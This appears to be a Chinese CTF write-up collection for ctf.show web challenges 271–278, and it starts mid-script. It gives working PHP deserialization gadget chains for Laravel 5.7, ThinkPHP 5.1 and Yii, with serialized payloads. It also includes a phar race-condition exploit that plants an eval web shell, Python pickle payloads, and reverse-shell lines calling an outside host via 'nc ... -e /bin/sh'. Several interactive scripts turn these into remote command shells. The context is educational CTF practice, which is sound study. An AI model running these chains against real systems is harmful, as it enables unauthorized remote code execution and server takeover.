$this->checkAccess = 'shell_exec';
$this->id = 'cat /flagsaa | tee 1';
}
}
}
namespace yii\db{
use yii\web\DbSession;
class BatchQueryResult
{
private $_dataReader;
public function __construct(){
$this->_dataReader=new DbSession();
}
}
}
namespace yii\web{
use yii\rest\IndexAction;
class DbSession
{
public $writeCallback;
public function __construct(){
$a=new IndexAction();
$this->writeCallback=[$a,'run'];
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
web271
<?php
/**
* Laravel - A PHP Framework For Web Artisans
*
* @package Laravel
* @author Taylor Otwell <taylor@laravel.com>
*/
define('LARAVEL_START', microtime(true));
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/
require __DIR__ . '/../vendor/autoload.php';
/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/
$app = require_once __DIR__ . '/../bootstrap/app.php';
/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);
$kernel->terminate($request, $response);
web271-Laravel反序列化漏洞
Laravel v5.7反序列化漏洞
EXP
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app){
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
$genericuser = new Illuminate\Auth\GenericUser(
array(
"expectedOutput"=>array("0"=>"1"),
"expectedQuestions"=>array("0"=>"1")
)
);
$application = new Illuminate\Foundation\Application(
array(
"Illuminate\Contracts\Console\Kernel"=>
array(
"concrete"=>"Illuminate\Foundation\Application"
)
)
);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
"system",array('cat /flag'),
$genericuser,
$application
);
echo urlencode(serialize($pendingcommand));
}
?>
脚本
直接当成虚拟终端用
import requests, base64, time
def round(command: str, arg: str):
url = "http://8cd12f44-e068-4ebf-9c52-31d16fb6e18b.challenge.ctf.show/" # 末尾的/不能少了
payload = b'O:40:"Illuminate\\Broadcasting\\PendingBroadcast":2:{s:9:"\x00*\x00events";O:15:"Faker\\Generator":1:{s:13:"\x00*\x00formatters";a:1:{s:8:"dispatch";s:function_l:"function";}}s:8:"\x00*\x00event";s:arg_l:"arg";}'
payload = payload.replace(b"function_l", str(len(command)).encode())
payload = payload.replace(b"function", command.encode())
payload = payload.replace(b"arg_l", str(len(arg)).encode())
payload = payload.replace(b"arg", arg.encode())
params = {"r": "test/ss", "data": payload}
while True:
try:
resp = requests.post(url, data=params)
break
except:
time.sleep(0.1)
while True:
try:
resp = requests.get(url+"1")
break
except:
time.sleep(0.1)
return resp.text
if __name__ == '__main__':
print("请输入命令...")
while True:
command = "system"
arg = input(">>> ")
if arg == "exit":
break
if arg == "":
continue
res = round(command, arg + " | tee 1")
print(res[:-1])
namespace Illuminate\Foundation\Testing{ class PendingCommand{ public $test; protected $app; protected $command; protected $parameters; public function __construct($test, $app, $command, $parameters) { $this->app = $app; $this->test = $test; $this->command = $command; $this->parameters = $parameters; } } }
namespace Illuminate\Auth{ class GenericUser{ protected $attributes; public function __construct($attributes){ $this->attributes=$attributes; } } } namespace Illuminate\Foundation{ class Application{ protected $bindings; public function __construct($bindings){ $this->bindings=$bindings; } } }
namespace{ $App=new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))); $GenericUser=new Illuminate\Auth\GenericUser(array("expectedQuestions"=>"null","expectedOutput"=>"null")); $PendingCommand=new Illuminate\Foundation\Testing\PendingCommand($GenericUser,$App,'system',array("whoami")); echo urlencode(serialize($PendingCommand)); }
web272
<?php
/**
* Laravel - A PHP Framework For Web Artisans
*
* @package Laravel
* @author Taylor Otwell <taylor@laravel.com>
*/
define('LARAVEL_START', microtime(true));
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/
require __DIR__ . '/../vendor/autoload.php';
/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/
$app = require_once __DIR__ . '/../bootstrap/app.php';
/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);
$kernel->terminate($request, $response);
web272-Laravel反序列化漏洞
打不通,换一条链子
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
use Mockery\Generator\MockDefinition;
class QueuedCommand
{
public $connection;
public function __construct(){
$this->connection=new MockDefinition();
}
}
}
namespace Illuminate\Bus{
use Mockery\Loader\EvalLoader;
class Dispatcher
{
protected $queueResolver;
public function __construct(){
$this->queueResolver=[new EvalLoader(),'load'];
}
}
}
namespace Mockery\Loader{
class EvalLoader
{
}
}
namespace Mockery\Generator{
class MockConfiguration
{
protected $name="feng";
}
class MockDefinition
{
protected $config;
protected $code;
public function __construct()
{
$this->code="<?php system('cat /flag');exit()?>";
$this->config=new MockConfiguration();
}
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
上条链是利用5.7新加的功能,那么难都被禁了,这一条这么古老又简单还能用属实难以置信
这里就是跟yii一样的一个类Generator的$formatters,在略新的版本这个类都加了一个__wakeup方法将$formatters清空了。没想到居然还能用,这里直接放脚本了,当成虚拟终端用
payload
<?php
namespace Faker{
class Generator{
protected $formatters;
public function __construct()
{
$this -> formatters = ['dispatch' => 'system'];
}
}
}
namespace Illuminate\Broadcasting{
use Faker\Generator;
class PendingBroadcast{
protected $events;
protected $event;
public function __construct()
{
$this -> events = new Generator();
$this -> event = 'whoami';
}
}
$a = new PendingBroadcast();
$res = serialize($a);
echo base64_encode($res);
}
方便操作的脚本
import requests, base64, time
def round(command: str, arg: str):
url = "http://ca6bcabb-9021-4081-a4dd-c7e09429ec1a.challenge.ctf.show/"
payload = b'O:40:"Illuminate\\Broadcasting\\PendingBroadcast":2:{s:9:"\x00*\x00events";O:15:"Faker\\Generator":1:{s:13:"\x00*\x00formatters";a:1:{s:8:"dispatch";s:function_l:"function";}}s:8:"\x00*\x00event";s:arg_l:"arg";}'
payload = payload.replace(b"function_l", str(len(command)).encode())
payload = payload.replace(b"function", command.encode())
payload = payload.replace(b"arg_l", str(len(arg)).encode())
payload = payload.replace(b"arg", arg.encode())
params = {"r": "test/ss", "data": payload}
while True:
try:
resp = requests.post(url, data=params)
break
except:
time.sleep(0.1)
while True:
try:
resp = requests.get(url+"1")
break
except:
time.sleep(0.1)
return resp.text
if __name__ == '__main__':
print("请输入命令...")
while True:
command = "system"
arg = input(">>> ")
if arg == "exit":
break
if arg == "":
continue
res = round(command, arg + " | tee 1")
print(res[:-1])
web273
<?php
/**
* Laravel - A PHP Framework For Web Artisans
*
* @package Laravel
* @author Taylor Otwell <taylor@laravel.com>
*/
define('LARAVEL_START', microtime(true));
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/
require __DIR__ . '/../vendor/autoload.php';
/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/
$app = require_once __DIR__ . '/../bootstrap/app.php';
/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);
$kernel->terminate($request, $response);
web271,web272的脚本依然能用
web274
:)
ThinkPHP V5.1
12载初心不改(2006-2018) - 你值得信赖的PHP框架
web274-ThinkPHP反序列化漏洞
查看源码可以看见可以传递data
EXP
<?php
namespace think\process\pipes{
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct(){
$this->files[]=new Pivot();
}
}
}
namespace think{
abstract class Model
{
protected $append = [];
private $data = [];
public function __construct(){
$this->data=array(
'Ki1ro'=>new Request()
);
$this->append=array(
'Ki1ro'=>array(
'hello'=>'world'
)
);
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace think{
class Request
{
protected $hook = [];
protected $filter;
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
public function __construct(){
$this->hook['visible']=[$this,'isAjax'];
$this->filter="system";
}
}
}
namespace{
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
}
payload
?data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJLaTFybyI7YToxOntzOjU6ImhlbGxvIjtzOjU6IndvcmxkIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NToiS2kxcm8iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6ODtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxMDp7czoxMDoidmFyX21ldGhvZCI7czo3OiJfbWV0aG9kIjtzOjg6InZhcl9hamF4IjtzOjA6IiI7czo4OiJ2YXJfcGpheCI7czo1OiJfcGpheCI7czoxMjoidmFyX3BhdGhpbmZvIjtzOjE6InMiO3M6MTQ6InBhdGhpbmZvX2ZldGNoIjthOjM6e2k6MDtzOjE0OiJPUklHX1BBVEhfSU5GTyI7aToxO3M6MTg6IlJFRElSRUNUX1BBVEhfSU5GTyI7aToyO3M6MTI6IlJFRElSRUNUX1VSTCI7fXM6MTQ6ImRlZmF1bHRfZmlsdGVyIjtzOjA6IiI7czoxNToidXJsX2RvbWFpbl9yb290IjtzOjA6IiI7czoxNjoiaHR0cHNfYWdlbnRfbmFtZSI7czowOiIiO3M6MTM6Imh0dHBfYWdlbnRfaXAiO3M6MTQ6IkhUVFBfWF9SRUFMX0lQIjtzOjE1OiJ1cmxfaHRtbF9zdWZmaXgiO3M6NDoiaHRtbCI7fX19fX19
&Ki1ro=cat /flag
thinkphp 5.1.*反序列化漏洞
很经典的链子
poc
<?php
namespace think{
class Request{
protected $hook;
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => 'whoami',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
protected $param;
protected $filter;
public function __construct()
{
$this -> hook = ['visible' => ['think\Request', 'isAjax']];
$this -> param = ['whoami' => 'calc'];
$this -> filter = ['system'];
}
}
abstract class Model{
protected $append;
private $data;
public function __construct()
{
$this -> append = ['a' => ['calc', '']];
$this -> data = ['a' => new Request()];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace think\process\pipes{
use think\model\Pivot;
class Windows{
private $files;
public function __construct()
{
$this -> files = [new Pivot()];
}
}
$a = new Windows();
echo base64_encode(serialize($a));
}
方便操作的脚本
import requests, base64, time
def round(command: str, arg: str):
url = "http://ac6ae592-f5db-448b-81bd-3544af090bcb.challenge.ctf.show/" # 记得保留/
payload = b'O:27:"think\\process\\pipes\\Windows":1:{s:34:"\x00think\\process\\pipes\\Windows\x00files";a:1:{i:0;O:17:"think\\model\\Pivot":2:{s:9:"\x00*\x00append";a:1:{s:1:"a";a:2:{i:0;s:4:"calc";i:1;s:0:"";}}s:17:"\x00think\\Model\x00data";a:1:{s:1:"a";O:13:"think\\Request":4:{s:7:"\x00*\x00hook";a:1:{s:7:"visible";a:2:{i:0;s:13:"think\\Request";i:1;s:6:"isAjax";}}s:9:"\x00*\x00config";a:10:{s:10:"var_method";s:7:"_method";s:8:"var_ajax";s:6:"whoami";s:8:"var_pjax";s:5:"_pjax";s:12:"var_pathinfo";s:1:"s";s:14:"pathinfo_fetch";a:3:{i:0;s:14:"ORIG_PATH_INFO";i:1;s:18:"REDIRECT_PATH_INFO";i:2;s:12:"REDIRECT_URL";}s:14:"default_filter";s:0:"";s:15:"url_domain_root";s:0:"";s:16:"https_agent_name";s:0:"";s:13:"http_agent_ip";s:14:"HTTP_X_REAL_IP";s:15:"url_html_suffix";s:4:"html";}s:8:"\x00*\x00param";a:1:{s:6:"whoami";s:arg_l:"arg";}s:9:"\x00*\x00filter";a:1:{i:0;s:function_l:"function";}}}}}}'
payload = payload.replace(b"function_l", str(len(command)).encode())
payload = payload.replace(b"function", command.encode())
payload = payload.replace(b"arg_l", str(len(arg)).encode())
payload = payload.replace(b"arg", arg.encode())
params = {"r": "test/ss", "data": base64.b64encode(payload).decode()}
while True:
try:
resp = requests.get(url, params=params)
break
except:
time.sleep(0.1)
while True:
try:
resp = requests.get(url+"1")
break
except:
time.sleep(0.1)
return resp.text
if __name__ == '__main__':
print("请输入命令...")
while True:
command = "system"
arg = input(">>> ")
if arg == "exit":
break
if arg == "":
continue
res = round(command, arg + " | tee 1")
print(res[:-1])
web275
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
where is flag?
web275
filter类的__destruct方法会执行system函数,我们只要用;隔开rm并且filename中有php就可以进行rce了
payload
?fn=php;tac flag.php
web276
<?php
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
where is flag?
web276-phar反序列化
这里要利用phar反序列化
可以看这篇文章了解 https://www.freebuf.com/articles/web/305292.html
phar文件构造脚本
<?php
unlink('phar.phar');
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
$a=new filter(';tac fla?.???','1');
$a->admin = true;
$a->evilfile = true;
$phar = new Phar('1.phar');
$phar->setStub('<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString('1.txt','dky');
?>
多线程文件竞争脚本
import requests
import threading
import time
success = False
# 获取文件数据
def getPhar(phar):
with open(phar,'rb') as f:
data = f.read()
return data
# 写phar文件
def writePhar(url, data):
requests.post(url, data)
# unlink文件
def unlinkPhar(url, data):
global success
r = requests.post(url, data).text
if 'ctfshow{' in r and success is False:
print(r)
success =True
def main():
global success
url = 'http://13837acb-ee42-43ca-9f55-2078d765f4a4.challenge.ctf.show/'
phar = getPhar('1.phar')
while success is False:
time.sleep(1)
w = threading.Thread(target=writePhar, args=(url+'?fn=1.phar', phar))
s = threading.Thread(target=unlinkPhar, args=(url+'?fn=phar://1.phar/1.txt', ''))
w.start()
s.start()
if __name__ == '__main__':
main()
phar反序列化漏洞
利用竞争。先生成一个phar文件,metadata设置为一个对象,生成phar的时候会自动将其序列化,类中需要设置成员变量admin和evilfile为true,将phar文件上传,然后再构造phar://伪协议竞争访问该文件,触发反序列化,然后触发__destruct方法,再触发命令执行。
序列化poc
<?php
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct(){
$this->admin=true;
$this->evilfile=true;
$this->filename='. || echo "<?php @eval(\\$_GET[1]);?>" > shell.php';
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
$this->admin=true;
$this->filename="1 || ls || whoami";
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
$phar = new phar("web276.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>");
$obj = new filter();
$phar -> setMetadata($obj);
$phar -> addFromString("1.txt","1");
$phar -> stopBuffering();
一键脚本
import requests, time
from concurrent.futures import ThreadPoolExecutor
proxies = {"http": "127.0.0.1:8080"}
data = b'<?php __HALT_COMPILER(); ?>\r\n\x06\x01\x00\x00\x03\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x00\x00\x91\x00\x00\x00O:6:"filter":4:{s:8:"filename";s:49:". || echo "<?php @eval(\\$_GET[1]);?>" > shell.php";s:11:"filecontent";N;s:8:"evilfile";b:1;s:5:"admin";b:1;}\x05\x00\x00\x003.txt\x03\x00\x00\x00\xdc\xc0Se\x03\x00\x00\x002\xfb\x11\x81\xb6\x01\x00\x00\x00\x00\x00\x00\x05\x00\x00\x001.txt\x01\x00\x00\x00\xdc\xc0Se\x01\x00\x00\x00\xb7\xef\xdc\x83\xb6\x01\x00\x00\x00\x00\x00\x00\x05\x00\x00\x002.txt\x01\x00\x00\x00\xdc\xc0Se\x01\x00\x00\x00\xb7\xef\xdc\x83\xb6\x01\x00\x00\x00\x00\x00\x00pwd11\x0f\xf8\xf5?u\xec\xa0\xdb\xae\xb9\xd0\xa1\xb9\xf47\x02\x84\x0e\xbe\xd6\x02\x00\x00\x00GBMB' # 不可更改,phar自己有签名算法的
success = False
def upload(url: str):
r=requests.post(url, params={"fn": "1.phar"}, data=data, timeout=7)
def visit(url: str):
global success
if not success:
r=requests.post(url, params={"fn": "phar://1.phar/3.txt"},data="000", timeout=7)
r=requests.get(url+"shell.php")
#print(r.status_code, url)
if r.status_code == 200:
success = True
def compete(url: str):
global success
pool_upload = ThreadPoolExecutor(5)
pool_visit = ThreadPoolExecutor(5)
threads = []
for i in range(50):
threads.append(pool_upload.submit(upload, url))
threads.append(pool_visit.submit(visit, url))
for i in threads:
if success:
break
while i.running():
pass
def round(url, command: str):
while True:
try:
r = requests.get(url+'shell.php', params = {"1": command}, timeout=7)
break
except:
pass
return r.text
if __name__ == '__main__':
url = "http://226faba7-e952-404b-a648-fa21f3b0d5be.challenge.ctf.show/"
while not success:
compete(url)
print("请输入命令...")
while True:
arg = input(">>> ")
if arg == "exit":
break
if arg == "":
continue
arg = f"system('{arg}');"
res = round(url, arg)
print(res[:-1])
非竞争做法
首先要注意, php://input会读到的数据是没有经过urldecode的, 上传二进制文件要写脚本
然后注意到file_put_contents, copy, unlink三个函数的一些特性 file_put_contents和copy支持PHP wrappers, unlink不支持, 所以文件名用wrappers即可不被删除, 这里正则规律了php, 可以用compress.zlib://或phar:// 文件是用file_put_contents写进去的, 注意
file_put_contents("phar://phar.phar", $contents);
写不进去东西, 会因为没有指定phar内文件名而报错,如果指定文件名, 比如
file_put_contents("phar://phar.phar/test.txt", $contents);
会被加上处理phar用的php代码,在下一步无法触发反序列化,phar文件可以是压缩包, 所以这里用compress.zlib://写入文件,再用phar://触发反序列化
生成反序列化的phar文件:
<?php
class filter{
public $filename = '1;cp f* 2.txt';
public $filecontent = '1';
public $evilfile=true;
public $admin = true;
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new filter();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
上传:
import requests
data = open('phar', 'rb').read()
url = 'https://enl3qxfpj0op.x.pipedream.net/'
url = 'http://d669b4da-d3a5-4f28-8daa-e82b23e2d61a.challenge.ctf.show/?fn=compress.zlib://p.gz'
requests.post(url, data=data)
触发:
GET /?fn=phar://p.gz/test.txt HTTP/1.1
最后在/2.txt中读到flag
web277
where is flag?<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->
进入靶场会看到where is flag?,Ctrl+U 检查源代码后可以看到注释的 html 标签
<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->
看到 pickle.loads 就知道是 python 反序列化没跑了。
先看给的提示:传入的 data 先进行 base64 解码后在进行反序列化,所以我们序列化完成之后还要额外进行 base64 编码
先简单的写一个爬虫脚本:
import os
import pickle
import base64
import requests
class exp(object):
def __reduce__(self):
payload = 'ls /'
return (os.popen,(payload,))
a=exp()
b=pickle.dumps(a)
c=base64.b64encode(b)
url="http://db665ec1-9a5b-4b46-a07e-045ad97ce824.challenge.ctf.show/backdoor"
params={'data':c}
r=requests.get(url=url,params=params)
print(r.text)
params 的作用是将请求中的参数添加到 URL 中,以便将这些参数传递给服务器。在这种情况下,params 是一个字典,包含了要作为查询字符串添加到 URL 中的参数。最终的 URL 将包含这些参数,以便服务器可以根据这些参数来处理请求。
image-20240325161132826
无论是ls /还是cat /flag,回显都是 backdoor here:说明是一道 ”无回显“ 的题目。
有两种方法:反弹 shell 和 的 dns 外带
反弹 shell
只需将脚本稍微改一下:
import os
import pickle
import base64
import requests
class exp(object):
def __reduce__(self):
payload = 'nc vps-ip port -e /bin/sh'
return (os.popen,(payload,))
a=exp()
b=pickle.dumps(a)
c=base64.b64encode(b)
url="http://db665ec1-9a5b-4b46-a07e-045ad97ce824.challenge.ctf.show/backdoor"
params={'data':c}
r=requests.get(url=url,params=params)
print(r.text)
然后先再 vps 上开启对应端口的监听在运行脚本(否则会报错)
以1234端口为例:
nc -lvnp 1234
image-20240325162846097
运行脚本后则会显示:
image-20240325162614566
此时就可以输入 Linux 命令来读取 flag 啦
web277-pickle反序列化漏洞
考的是pickle反序列化漏洞
这里有一个介绍的文章 https://xz.aliyun.com/t/7436#toc-5
通过反弹shell拿flag
import pickle
import base64
class cmd():
def __reduce__(self):
return (eval,("__import__('os').popen('nc xxxxxxxx 9999 -e /bin/sh').read()",))
c = cmd()
c = pickle.dumps(c)
print(base64.b64encode(c))
pickle反序列化基础,无任何过滤
没有过滤,直接最普通的cos\nsystem\n(S'whoami'tR.即可:
下面是方便操作的脚本,一个虚拟终端,脚本的原理是python很多web框架都默认设置了一个static路由,只需要确保文件夹存在就行了。
import requests, base64, time
def round(command: str, arg: str):
url = "http://39995c7b-513e-4c09-9e77-01499da948bc.challenge.ctf.show/" # 以/结尾
payload = f'''cos\n{command}\n(S'{arg}'\ntR.'''.encode()
params = {"r": "test/ss", "data": base64.b64encode(payload).decode()}
while True:
try:
resp = requests.get(url+"backdoor", params=params)
break
except:
time.sleep(0.1)
while True:
try:
resp = requests.get(url+"static/1")
break
except:
time.sleep(0.1)
return resp.text
if __name__ == '__main__':
print("请输入命令...")
while True:
command = "system"
arg = input(">>> ")
if arg == "exit":
break
if arg == "":
continue
arg = f'mkdir -p /app/static && {arg} > /app/static/1'
res = round(command, arg + "")
print(res[:-1])
web278
和web277相似
只过滤了os.system,但os.popen仍有效
虽然将上一题脚本中的system换成popen即可,但是还是给出一个绕过过滤os模块的poc
cbuiltins\ngetattr\np0\n(cbuiltins\ndict\nS'get'\ntRp1\n(cbuiltins\nglobals\n)RS'__builtins__'\ntRp2\n0g0\n(g2\nS'eval'\ntR(S'whoami'\ntR.
本质就是通过getattr函数获取builtins模块中dict类的get方法,然后执行globals(),其返回值是一个dict,所以可以用刚刚得到的get方法获取内部的值,这里选择取出builtins模块本身的引用。等价于执行dict.get(globals(),'__builtins__'),利用该引用,就能获取到builtins模块内部的eval方法,再压栈想要执行的命令,然后R指令执行,.结束符。
简化操作的脚本
import requests, base64, time
def round(command: str, arg: str):
url = "http://fa3941ba-891b-4463-8844-4699fa94fe69.challenge.ctf.show/"
payload = f'''cbuiltins\ngetattr\np0\n(cbuiltins\ndict\nS'get'\ntRp1\n(cbuiltins\nglobals\n)RS'__builtins__'\ntRp2\n0g0\n(g2\nS'eval'\ntR(S'{arg}'\ntR.'''.encode()
params = {"r": "test/ss", "data": base64.b64encode(payload).decode()}
while True:
try:
resp = requests.get(url+"backdoor", params=params)
break
except:
time.sleep(0.1)
while True:
try:
resp = requests.get(url+"static/1")
break
except:
time.sleep(0.1)
return resp.text
if __name__ == '__main__':
print("请输入命令...")
while True:
command = "system"
arg = input(">>> ")
if arg == "exit":
break
if arg == "":
continue
arg = f'__import__("os").popen("mkdir -p /app/static && {arg} > /app/static/1")'
res = round(command, arg)
print(res[:-1])